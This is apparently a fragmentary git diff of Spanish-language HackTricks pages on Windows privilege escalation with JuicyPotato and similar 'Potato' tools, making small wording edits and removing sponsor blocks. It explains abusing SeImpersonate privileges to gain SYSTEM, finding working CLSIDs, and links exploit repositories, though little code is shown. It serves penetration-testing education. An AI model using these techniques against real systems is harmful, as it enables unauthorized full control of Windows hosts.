* **MODO DE PRUEBA** _principalmente para fines de prueba, es decir, probando CLSIDs. Crea el DCOM e imprime el usuario del token. Ver_ [_aquí para pruebas_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
|
@ -101,7 +87,7 @@ Optional args:
|
|||
|
||||
Si el usuario tiene privilegios `SeImpersonate` o `SeAssignPrimaryToken`, entonces eres **SYSTEM**.
|
||||
|
||||
Es casi imposible prevenir el abuso de todos estos Servidores COM. Podrías pensar en modificar los permisos de estos objetos a través de `DCOMCNFG`, pero buena suerte, esto va a ser un desafío.
|
||||
Es casi imposible prevenir el abuso de todos estos servidores COM. Podrías pensar en modificar los permisos de estos objetos a través de `DCOMCNFG`, pero buena suerte, esto va a ser un desafío.
|
||||
|
||||
La solución real es proteger cuentas y aplicaciones sensibles que se ejecutan bajo las cuentas `* SERVICE`. Detener `DCOM` ciertamente inhibiría este exploit, pero podría tener un impacto serio en el sistema operativo subyacente.
|
||||
|
||||
|
@ -134,7 +120,7 @@ c:\Users\Public>
|
|||
|
||||
## Problemas de CLSID
|
||||
|
||||
A menudo, el CLSID predeterminado que utiliza JuicyPotato **no funciona** y el exploit falla. Por lo general, se necesitan múltiples intentos para encontrar un **CLSID funcional**. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:
|
||||
A menudo, el CLSID predeterminado que utiliza JuicyPotato **no funciona** y el exploit falla. Por lo general, se requieren múltiples intentos para encontrar un **CLSID funcional**. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
|
||||
|
@ -152,17 +138,6 @@ Luego descarga [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/mast
|
|||
|
||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,22 +15,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** se pueden usar para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. Esta [entrada de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que se puede usar para abusar de los privilegios de suplantación en hosts de Windows 10 y Server 2019 donde JuicyPotato ya no funciona.
|
||||
**JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** pueden ser utilizados para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. Esta [entrada de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que puede ser utilizada para abusar de los privilegios de suplantación en hosts de Windows 10 y Server 2019 donde JuicyPotato ya no funciona.
|
||||
{% endhint %}
|
||||
|
||||
## Quick Demo
|
||||
|
@ -117,17 +103,6 @@ nt authority\system
|
|||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
Loading…
Reference in a new issue